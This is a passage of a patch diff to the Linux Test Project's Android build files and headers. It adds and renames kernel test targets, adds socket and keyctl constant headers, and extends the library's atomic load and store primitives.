-cc_test {
     name: "ltp_inotify02",
     stem: "inotify02",
     defaults: ["ltp_test_defaults"],
@@ -6895,6 +7031,15 @@
 }
 
 cc_test {
+    name: "ltp_tst_net_ip_prefix",
+    stem: "tst_net_ip_prefix",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_net_ip_prefix.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_genacos",
     stem: "genacos",
     defaults: ["ltp_test_defaults"],
@@ -7302,6 +7447,15 @@
 }
 
 cc_test {
+    name: "ltp_fs_fill",
+    stem: "fs_fill",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/fs_fill/fs_fill.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_access04",
     stem: "access04",
     defaults: ["ltp_test_defaults"],
@@ -7311,6 +7465,16 @@
 }
 
 cc_test {
+    name: "ltp_ltp-diorh",
+    stem: "ltp-diorh",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/ltp-diorh.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_epoll_create1_01",
     stem: "epoll_create1_01",
     defaults: ["ltp_test_defaults"],
@@ -7572,6 +7736,15 @@
 }
 
 cc_test {
+    name: "ltp_pth_str02",
+    stem: "pth_str02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/sched/pthreads/pth_str02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_fcntl30",
     stem: "fcntl30",
     defaults: ["ltp_test_defaults"],
@@ -8185,6 +8358,16 @@
 }
 
 cc_test {
+    name: "ltp_aiodio_append",
+    stem: "aiodio_append",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/aiodio_append.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_trerrno",
     stem: "trerrno",
     defaults: ["ltp_test_defaults"],
@@ -8384,6 +8567,16 @@
 }
 
 cc_test {
+    name: "ltp_aiocp",
+    stem: "aiocp",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/aiocp.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_openat03",
     stem: "openat03",
     defaults: ["ltp_test_defaults"],
@@ -8512,10 +8705,10 @@
 }
 
 cc_test {
-    name: "ltp_uaccess",
-    stem: "uaccess",
+    name: "ltp_setsockopt02",
+    stem: "setsockopt02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/device-drivers/uaccess/uaccess.c"],
+    srcs: ["testcases/kernel/syscalls/setsockopt/setsockopt02.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -8753,6 +8946,16 @@
 }
 
 cc_test {
+    name: "ltp_dio_sparse",
+    stem: "dio_sparse",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/dio_sparse.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_timer_settime02",
     stem: "timer_settime02",
     defaults: ["ltp_test_defaults"],
@@ -9370,6 +9573,16 @@
 }
 
 cc_test {
+    name: "ltp_mount03_setuid_test",
+    stem: "mount03_setuid_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/mount/mount03_setuid_test.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_proc01",
     stem: "proc01",
     defaults: ["ltp_test_defaults"],
@@ -9490,6 +9703,16 @@
 }
 
 cc_test {
+    name: "ltp_dirty",
+    stem: "dirty",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/dirty.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_zram03",
     stem: "zram03",
     defaults: ["ltp_test_defaults"],
@@ -9814,6 +10037,15 @@
 }
 
 cc_test {
+    name: "ltp_getrusage03_child",
+    stem: "getrusage03_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/getrusage/getrusage03_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_timed_forkbomb",
     stem: "timed_forkbomb",
     defaults: ["ltp_test_defaults"],
@@ -10402,6 +10634,18 @@
 }
 
 cc_test {
+    name: "ltp_testsf_s",
+    stem: "testsf_s",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/tcp_cmds/sendfile/testsf_s.c"],
+    local_include_dirs: [
+        "testcases/network/tcp_cmds/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_sysctl01",
     stem: "sysctl01",
     defaults: ["ltp_test_defaults"],
@@ -10419,6 +10663,16 @@
 }
 
 cc_test {
+    name: "ltp_aio-stress",
+    stem: "aio-stress",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/aio-stress.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_mmapstress10",
     stem: "mmapstress10",
     defaults: ["ltp_test_defaults"],
@@ -11207,7 +11461,6 @@
         "testcases/kernel/syscalls/migrate_pages/migrate_pages01.c",
         "testcases/kernel/syscalls/migrate_pages/migrate_pages_common.c",
     ],
-    cflags: ["-Wno-unused"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -11227,7 +11480,6 @@
         "testcases/kernel/syscalls/migrate_pages/migrate_pages02.c",
         "testcases/kernel/syscalls/migrate_pages/migrate_pages_common.c",
     ],
-    cflags: ["-Wno-unused"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -11449,14 +11701,16 @@
 }
 
 cc_test {
-    name: "ltp_ns-udpsender",
-    stem: "ns-udpsender",
+    name: "ltp_aio_tio",
+    stem: "aio_tio",
     defaults: ["ltp_test_defaults"],
     srcs: [
-        "testcases/network/stress/ns-tools/ns-udpsender.c",
-        "testcases/network/stress/ns-tools/ns-common.c",
+        "testcases/kernel/io/aio/aio02/aio_tio.c",
+        "testcases/kernel/io/aio/aio02/main.c",
     ],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -11584,7 +11838,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
         "testcases/kernel/syscalls/move_pages/move_pages05.c",
     ],
-    cflags: ["-Wno-unused-function"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -11661,7 +11914,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
         "testcases/kernel/syscalls/move_pages/move_pages07.c",
     ],
-    cflags: ["-Wno-unused-function"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -11884,7 +12136,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages09.c",
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
     ],
-    cflags: ["-Wno-unused-function"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -12023,7 +12274,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages04.c",
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
     ],
-    cflags: ["-Wno-unused-function"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -12043,7 +12293,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages06.c",
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
     ],
-    cflags: ["-Wno-unused-function"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -12063,7 +12312,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages01.c",
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
     ],
-    cflags: ["-Wno-unused-function"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -12083,7 +12331,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages03.c",
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
     ],
-    cflags: ["-Wno-unused-function"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -12103,7 +12350,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
         "testcases/kernel/syscalls/move_pages/move_pages02.c",
     ],
-    cflags: ["-Wno-unused-function"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -12172,7 +12418,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
         "testcases/kernel/syscalls/move_pages/move_pages08.c",
     ],
-    cflags: ["-Wno-unused-function"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -12647,7 +12892,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages12.c",
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
     ],
-    cflags: ["-Wno-unused-function"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -12679,7 +12923,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages10.c",
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
     ],
-    cflags: ["-Wno-unused-function"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -12699,7 +12942,6 @@
         "testcases/kernel/syscalls/move_pages/move_pages_support.c",
         "testcases/kernel/syscalls/move_pages/move_pages11.c",
     ],
-    cflags: ["-Wno-unused-function"],
     local_include_dirs: [
         "testcases/kernel/include",
         "testcases/kernel/syscalls/utils",
@@ -13209,6 +13451,17 @@
 }
 
 cc_test {
+    name: "ltp_ns-udpsender",
+    stem: "ns-udpsender",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/stress/ns-tools/ns-udpsender.c",
+        "testcases/network/stress/ns-tools/ns-common.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
     name: "ltp_fcntl21_64",
     stem: "fcntl21_64",
     defaults: ["ltp_test_defaults"],
@@ -13366,22 +13619,6 @@
     static_libs: ["libltp_ltp"],
 }
 
-cc_test {
-    name: "ltp_echoes6",
-    stem: "echoes6",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/tcp_cmds/echo/echoes.c"],
-    cflags: [
-        "-DINET6",
-        "-DDEBUG",
-    ],
-    local_include_dirs: [
-        "include/old",
-        "testcases/network/tcp_cmds/include",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
 cc_library_static {
     name: "libltp_kerntest",
     defaults: ["ltp_defaults"],
@@ -13390,6 +13627,9 @@
         "include",
         "include/old",
     ],
+    cflags: [
+        "-DNUMA_VERSION1_COMPATIBILITY",
+    ],
     srcs: [
         "testcases/kernel/lib/numa_helper.c",
     ],
@@ -13438,8 +13678,10 @@
     name: "libltp_hugetlb",
     defaults: ["ltp_defaults"],
     local_include_dirs: [
+        "testcases/kernel/include",
         "include",
         "include/old",
+        "testcases/kernel/mem/include",
     ],
     srcs: [
         "testcases/kernel/mem/hugetlb/lib/hugetlb.c",
@@ -13463,6 +13705,7 @@
         "lib/tst_path_has_mnt_flags.c",
         "lib/tst_process_state.c",
         "lib/tst_fs_type.c",
+        "lib/tst_fill_fs.c",
         "lib/tst_sig.c",
         "lib/tst_net.c",
         "lib/tst_timer_test.c",
@@ -13481,6 +13724,7 @@
         "lib/tst_checkpoint.c",
         "lib/tst_kvercmp.c",
         "lib/self_exec.c",
+        "lib/tst_supported_fs_types.c",
         "lib/tst_run_cmd.c",
         "lib/tst_res.c",
         "lib/parse_opts.c",
@@ -13501,5 +13745,6 @@
         "lib/tst_fill_file.c",
         "lib/cloner.c",
         "lib/tst_sig_proc.c",
+        "lib/tst_status.c",
     ],
 }
diff --git a/include/config.h.default b/include/config.h.default
index ef6a3d5..8b245fc 100644
--- a/include/config.h.default
+++ b/include/config.h.default
@@ -125,9 +125,6 @@
 /* 2.6 version of swapon/swapoff */
 #define HAVE_NEW_SWAPONOFF 1
 
-/* Define to 1 if you have the `numa_alloc_onnode' function. */
-#undef HAVE_NUMA_ALLOC_ONNODE
-
 /* Define to 1 if you have the <numa.h> header file. */
 #undef HAVE_NUMA_H
 
diff --git a/include/lapi/dccp.h b/include/lapi/dccp.h
new file mode 100644
index 0000000..1d7fa05
--- /dev/null
+++ b/include/lapi/dccp.h
@@ -0,0 +1,27 @@
+/*
+ * Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef LAPI_DCCP_H__
+#define LAPI_DCCP_H__
+
+#include <linux/dccp.h>
+
+#ifndef DCCP_SOCKOPT_SERVICE
+# define DCCP_SOCKOPT_SERVICE	2
+#endif
+
+#endif	/* LAPI_DCCP_H__ */
diff --git a/include/lapi/keyctl.h b/include/lapi/keyctl.h
index 3e7ce47..4b8098a 100644
--- a/include/lapi/keyctl.h
+++ b/include/lapi/keyctl.h
@@ -19,12 +19,14 @@
 #define KEYCTL_H__
 
 #include "config.h"
-#ifdef HAVE_KEYUTILS_H
+
+#if defined(HAVE_KEYUTILS_H) && defined(HAVE_LIBKEYUTILS)
 # include <keyutils.h>
 #else
 # ifdef HAVE_LINUX_KEYCTL_H
 #  include <linux/keyctl.h>
 # endif /* HAVE_LINUX_KEYCTL_H */
+
 # include <stdarg.h>
 # include <stdint.h>
 # include "lapi/syscalls.h"
@@ -63,14 +65,47 @@
 
 	return tst_syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
 }
-#endif /* HAVE_KEYUTILS_H */
 
-#ifndef KEYCTL_GET_KEYRING_ID
-# define KEYCTL_GET_KEYRING_ID 0
+static inline key_serial_t keyctl_join_session_keyring(const char *name) {
+	return keyctl(KEYCTL_JOIN_SESSION_KEYRING, name);
+}
+
+#endif /* defined(HAVE_KEYUTILS_H) && defined(HAVE_LIBKEYUTILS) */
+
+/* special process keyring shortcut IDs */
+#ifndef KEY_SPEC_THREAD_KEYRING
+# define KEY_SPEC_THREAD_KEYRING -1
 #endif
 
-#ifndef KEYCTL_SET_REQKEY_KEYRING
-# define KEYCTL_SET_REQKEY_KEYRING 14
+#ifndef KEY_SPEC_PROCESS_KEYRING
+# define KEY_SPEC_PROCESS_KEYRING -2
+#endif
+
+#ifndef KEY_SPEC_SESSION_KEYRING
+# define KEY_SPEC_SESSION_KEYRING -3
+#endif
+
+#ifndef KEY_SPEC_USER_KEYRING
+# define KEY_SPEC_USER_KEYRING -4
+#endif
+
+
+#ifndef KEY_SPEC_USER_SESSION_KEYRING
+# define KEY_SPEC_USER_SESSION_KEYRING -5
+#endif
+
+/* request-key default keyrings */
+#ifndef KEY_REQKEY_DEFL_THREAD_KEYRING
+# define KEY_REQKEY_DEFL_THREAD_KEYRING 1
+#endif
+
+#ifndef KEY_REQKEY_DEFL_DEFAULT
+# define KEY_REQKEY_DEFL_DEFAULT	0
+#endif
+
+/* keyctl commands */
+#ifndef KEYCTL_GET_KEYRING_ID
+# define KEYCTL_GET_KEYRING_ID 0
 #endif
 
 #ifndef KEYCTL_JOIN_SESSION_KEYRING
@@ -81,24 +116,32 @@
 # define KEYCTL_UPDATE 2
 #endif
 
+#ifndef KEYCTL_REVOKE
+# define KEYCTL_REVOKE 3
+#endif
+
 #ifndef KEYCTL_SETPERM
 # define KEYCTL_SETPERM 5
 #endif
 
+#ifndef KEYCTL_CLEAR
+# define KEYCTL_CLEAR 7
+#endif
+
 #ifndef KEYCTL_UNLINK
 # define KEYCTL_UNLINK 9
 #endif
 
-#ifndef KEY_SPEC_THREAD_KEYRING
-# define KEY_SPEC_THREAD_KEYRING -1
+#ifndef KEYCTL_READ
+# define KEYCTL_READ 11
 #endif
 
-#ifndef KEY_SPEC_SESSION_KEYRING
-# define KEY_SPEC_SESSION_KEYRING -3
+#ifndef KEYCTL_SET_REQKEY_KEYRING
+# define KEYCTL_SET_REQKEY_KEYRING 14
 #endif
 
-#ifndef KEY_REQKEY_DEFL_THREAD_KEYRING
-# define KEY_REQKEY_DEFL_THREAD_KEYRING 1
+#ifndef KEYCTL_SET_TIMEOUT
+# define KEYCTL_SET_TIMEOUT 15
 #endif
 
 #endif	/* KEYCTL_H__ */
diff --git a/include/lapi/mmap.h b/include/lapi/mmap.h
index 10065a4..7a55800 100644
--- a/include/lapi/mmap.h
+++ b/include/lapi/mmap.h
@@ -71,4 +71,12 @@
 # define MADV_FREE	8
 #endif
 
+#ifdef HAVE_SYS_SHM_H
+# include <sys/shm.h>
+# define MMAP_GRANULARITY SHMLBA
+#else
+# include <unistd.h>
+# define MMAP_GRANULARITY getpagesize()
+#endif /* HAVE_SYS_SHM_H */
+
 #endif /* LAPI_MMAP_H__ */
diff --git a/include/lapi/netinet_in.h b/include/lapi/netinet_in.h
new file mode 100644
index 0000000..84aca4d
--- /dev/null
+++ b/include/lapi/netinet_in.h
@@ -0,0 +1,27 @@
+/*
+ * Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef LAPI_IN_H__
+#define LAPI_IN_H__
+
+#include <netinet/in.h>
+
+#ifndef IPPROTO_DCCP
+#define IPPROTO_DCCP		33
+#endif
+
+#endif	/* LAPI_IN_H__ */
diff --git a/include/lapi/socket.h b/include/lapi/socket.h
index 9826310..95337ce 100644
--- a/include/lapi/socket.h
+++ b/include/lapi/socket.h
@@ -19,8 +19,26 @@
 #ifndef __LAPI_SOCKET_H__
 #define __LAPI_SOCKET_H__
 
+#include <sys/socket.h>
+
+#ifndef MSG_FASTOPEN
+# define MSG_FASTOPEN	0x20000000 /* Send data in TCP SYN */
+#endif
+
+#ifndef SO_BUSY_POLL
+# define SO_BUSY_POLL	46
+#endif
+
+#ifndef SOCK_DCCP
+# define SOCK_DCCP		6
+#endif
+
 #ifndef SOCK_CLOEXEC
 # define SOCK_CLOEXEC 02000000
 #endif
 
+#ifndef SOL_DCCP
+# define SOL_DCCP		269
+#endif
+
 #endif /* __LAPI_SOCKET_H__ */
diff --git a/include/lapi/syscalls/regen.sh b/include/lapi/syscalls/regen.sh
index 40b6ffc..5560997 100755
--- a/include/lapi/syscalls/regen.sh
+++ b/include/lapi/syscalls/regen.sh
@@ -106,7 +106,7 @@
 
 	) &
 
-	: $(( jobs += 1 ))
+	jobs=$(( jobs + 1 ))
 	if [ ${jobs} -ge ${max_jobs} ] ; then
 		wait || exit 1
 		jobs=0
diff --git a/include/lapi/tcp.h b/include/lapi/tcp.h
new file mode 100644
index 0000000..ebb0d79
--- /dev/null
+++ b/include/lapi/tcp.h
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef LAPI_TCP_H__
+#define LAPI_TCP_H__
+
+#include <netinet/tcp.h>
+
+#ifndef TCP_FASTOPEN
+# define TCP_FASTOPEN	23
+#endif
+
+#ifndef TCP_FASTOPEN_CONNECT
+# define TCP_FASTOPEN_CONNECT	30	/* Attempt FastOpen with connect */
+#endif
+
+#endif	/* LAPI_TCP_H__ */
diff --git a/include/mk/config.mk.default b/include/mk/config.mk.default
index dff3479..0934d94 100644
--- a/include/mk/config.mk.default
+++ b/include/mk/config.mk.default
@@ -39,7 +39,6 @@
 #ACL_LIBS		:= -lacl
 #CRYPTO_LIBS		:= -lcrypto
 #LEXLIB			:= -lfl
-#NUMA_CPPFLAGS		:= -DNUMA_VERSION1_COMPATIBILITY
 #NUMA_LIBS		:= -lnuma
 #SELINUX_LIBS		:= -lselinux
 #TIRPC_CPPFLAGS		:= -I/usr/include/tirpc
diff --git a/include/mk/config.mk.in b/include/mk/config.mk.in
index dde2a9e..01f178b 100644
--- a/include/mk/config.mk.in
+++ b/include/mk/config.mk.in
@@ -41,7 +41,6 @@
 ACL_LIBS		:= @ACL_LIBS@
 CRYPTO_LIBS		:= @CRYPTO_LIBS@
 LEXLIB			:= @LEXLIB@
-NUMA_CPPFLAGS		:= @NUMA_CPPFLAGS@
 NUMA_LIBS		:= @NUMA_LIBS@
 SELINUX_LIBS		:= @SELINUX_LIBS@
 TIRPC_CPPFLAGS		:= @TIRPC_CPPFLAGS@
@@ -82,6 +81,8 @@
 LINUX_VERSION_PATCH	:= @LINUX_VERSION_PATCH@
 WITH_MODULES		:= @WITH_MODULES@
 
+HOST_CPU		:= @HOST_CPU@
+
 ifeq ($(strip $(prefix)),)
 $(error you are using $$(prefix) incorrectly -- set it to $(abs_top_srcdir) if you want to build in the source tree)
 endif
diff --git a/include/old/ltp_priv.h b/include/old/ltp_priv.h
index e678a28..0552457 100644
--- a/include/old/ltp_priv.h
+++ b/include/old/ltp_priv.h
@@ -24,9 +24,6 @@
 
 #include <stdarg.h>
 
-/* declared in tst_tmpdir.c */
-const char *tst_get_startwd(void);
-
 /*
  * This is the default temporary directory used by tst_tmpdir().
  *
diff --git a/include/old/old_device.h b/include/old/old_device.h
index 4dbb3ff..17da57e 100644
--- a/include/old/old_device.h
+++ b/include/old/old_device.h
@@ -21,7 +21,7 @@
 /*
  * Returns filesystem type to be used for the testing. Unless your test is
  * designed for specific filesystem you should use this function to the tested
- * filesytem.
+ * filesystem.
  *
  * If TST_DEV_FS_TYPE is set the function returns it's content,
  * otherwise default fs type hardcoded in the library is returned.
diff --git a/include/old/old_tmpdir.h b/include/old/old_tmpdir.h
index b39b615..9c61172 100644
--- a/include/old/old_tmpdir.h
+++ b/include/old/old_tmpdir.h
@@ -50,4 +50,7 @@
  */
 int tst_tmpdir_created(void);
 
+/* declared in tst_tmpdir.c */
+const char *tst_get_startwd(void);
+
 #endif	/* OLD_TMPDIR_H__ */
diff --git a/include/safe_macros_fn.h b/include/safe_macros_fn.h
index dcea775..3df9528 100644
--- a/include/safe_macros_fn.h
+++ b/include/safe_macros_fn.h
@@ -67,7 +67,7 @@
 int safe_pipe(const char *file, const int lineno,
               void (*cleanup_fn)(void), int fildes[2]);
 
-ssize_t	safe_read(const char *file, const int lineno,
+ssize_t safe_read(const char *file, const int lineno,
                   void (*cleanup_fn)(void), char len_strict, int fildes,
                   void *buf, size_t nbyte);
 
@@ -110,7 +110,7 @@
                  void (cleanup_fn)(void), const char *oldpath,
                  const char *newpath);
 
-ssize_t	safe_write(const char *file, const int lineno,
+ssize_t safe_write(const char *file, const int lineno,
                    void (cleanup_fn)(void), char len_strict, int fildes,
                    const void *buf, size_t nbyte);
 
diff --git a/include/tst_atomic.h b/include/tst_atomic.h
index 35a3b34..5736d28 100644
--- a/include/tst_atomic.h
+++ b/include/tst_atomic.h
@@ -14,49 +14,104 @@
  * You should have received a copy of the GNU General Public License
  * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
+/* The LTP library has some of its own atomic synchronisation primitives
+ * contained in this file. Generally speaking these should not be used
+ * directly in tests for synchronisation, instead use tst_checkpoint.h,
+ * tst_fuzzy_sync.h or the POSIX library.
+ *
+ * Notes on compile and runtime memory barriers and atomics.
+ *
+ * Within the LTP library we have three concerns when accessing variables
+ * shared by multiple threads or processes:
+ *
+ * (1) Removal or reordering of accesses by the compiler.
+ * (2) Atomicity of addition.
+ * (3) LOAD-STORE ordering between threads.
+ *
+ * The first (1) is the most likely to cause an error if not properly
+ * handled. We avoid it by using volatile variables and statements which will
+ * not be removed or reordered by the compiler during optimisation. This includes
+ * the __atomic and __sync intrinsics and volatile asm statements marked with
+ * "memory" as well as variables marked with volatile.
+ *
+ * On any platform Linux is likely to run on, a LOAD (fetch) or STORE of a
+ * 32-bit integer will be atomic. However fetching and adding to a variable is
+ * quite likely not; so for (2) we need to ensure we use atomic addition.
+ *
+ * Finally, for tst_fuzzy_sync at least, we need to ensure that LOADs and
+ * STOREs of any shared variables (including non-atomics) that are made
+ * between calls to tst_fzsync_wait are completed (globally visible) before
+ * tst_fzsync_wait completes. For this, runtime memory and instruction
+ * barriers are required in addition to compile time.
+ *
+ * We use full sequential ordering (__ATOMIC_SEQ_CST) for the sake of
+ * simplicity. LTP tests tend to be syscall heavy so any performance gain from
+ * using a weaker memory model is unlikely to result in a relatively large
+ * performance improvement while at the same time being a potent source of
+ * confusion.
+ *
+ * Likewise, for the fallback ASM, the simplest "definitely will work, always"
+ * approach is preferred over anything more performant.
+ *
+ * Also see Documentation/memory-barriers.txt in the kernel tree and
+ * https://gcc.gnu.org/onlinedocs/gcc/_005f_005fatomic-Builtins.html
+ * terminology may vary between sources.
+ */
 
 #ifndef TST_ATOMIC_H__
 #define TST_ATOMIC_H__
 
 #include "config.h"
 
-#if HAVE_SYNC_ADD_AND_FETCH == 1
+#if HAVE_ATOMIC_MEMORY_MODEL == 1
+static inline int tst_atomic_add_return(int i, int *v)
+{
+	return __atomic_add_fetch(v, i, __ATOMIC_SEQ_CST);
+}
+
+static inline int tst_atomic_load(int *v)
+{
+	return __atomic_load_n(v, __ATOMIC_SEQ_CST);
+}
+
+static inline void tst_atomic_store(int i, int *v)
+{
+	__atomic_store_n(v, i, __ATOMIC_SEQ_CST);
+}
+
+#elif HAVE_SYNC_ADD_AND_FETCH == 1
 static inline int tst_atomic_add_return(int i, int *v)
 {
 	return __sync_add_and_fetch(v, i);
 }
 
+static inline int tst_atomic_load(int *v)
+{
+	int ret;
+
+	__sync_synchronize();
+	ret = *v;
+	__sync_synchronize();
+	return ret;
+}
+
+static inline void tst_atomic_store(int i, int *v)
+{
+	__sync_synchronize();
+	*v = i;
+	__sync_synchronize();
+}
+
 #elif defined(__i386__) || defined(__x86_64__)
+# define LTP_USE_GENERIC_LOAD_STORE_ASM 1
+
 static inline int tst_atomic_add_return(int i, int *v)
 {
 	int __ret = i;
 
 	/*
 	 * taken from arch/x86/include/asm/cmpxchg.h
-	 * Since we always pass int sized parameter, we can simplify it
-	 * and cherry-pick only that specific case.
-	 *
-	switch (sizeof(*v)) {
-	case 1:
-		asm volatile ("lock; xaddb %b0, %1\n"
-			: "+q" (__ret), "+m" (*v) : : "memory", "cc");
-		break;
-	case 2:
-		asm volatile ("lock; xaddw %w0, %1\n"
-			: "+r" (__ret), "+m" (*v) : : "memory", "cc");
-		break;
-	case 4:
-		asm volatile ("lock; xaddl %0, %1\n"
-			: "+r" (__ret), "+m" (*v) : : "memory", "cc");
-		break;
-	case 8:
-		asm volatile ("lock; xaddq %q0, %1\n"
-			: "+r" (__ret), "+m" (*v) : : "memory", "cc");
-		break;
-	default:
-		__xadd_wrong_size();
-	}
-	*/
+	 */
 	asm volatile ("lock; xaddl %0, %1\n"
 		: "+r" (__ret), "+m" (*v) : : "memory", "cc");
 
@@ -83,7 +138,27 @@
 	return t;
 }
 
+static inline int tst_atomic_load(int *v)
+{
+	int ret;
+
+	asm volatile("sync\n" : : : "memory");
+	ret = *v;
+	asm volatile("sync\n" : : : "memory");
+
+	return ret;
+}
+
+static inline void tst_atomic_store(int i, int *v)
+{
+	asm volatile("sync\n" : : : "memory");
+	*v = i;
+	asm volatile("sync\n" : : : "memory");
+}
+
 #elif defined(__s390__) || defined(__s390x__)
+# define LTP_USE_GENERIC_LOAD_STORE_ASM 1
+
 static inline int tst_atomic_add_return(int i, int *v)
 {
 	int old_val, new_val;
@@ -106,7 +181,7 @@
 
 /*ARCv2 defines the smp barriers */
 #ifdef __ARC700__
-#define smp_mb()
+#define smp_mb()	asm volatile("" : : : "memory")
 #else
 #define smp_mb()	asm volatile("dmb 3\n" : : : "memory")
 #endif
@@ -132,6 +207,24 @@
 	return val;
 }
 
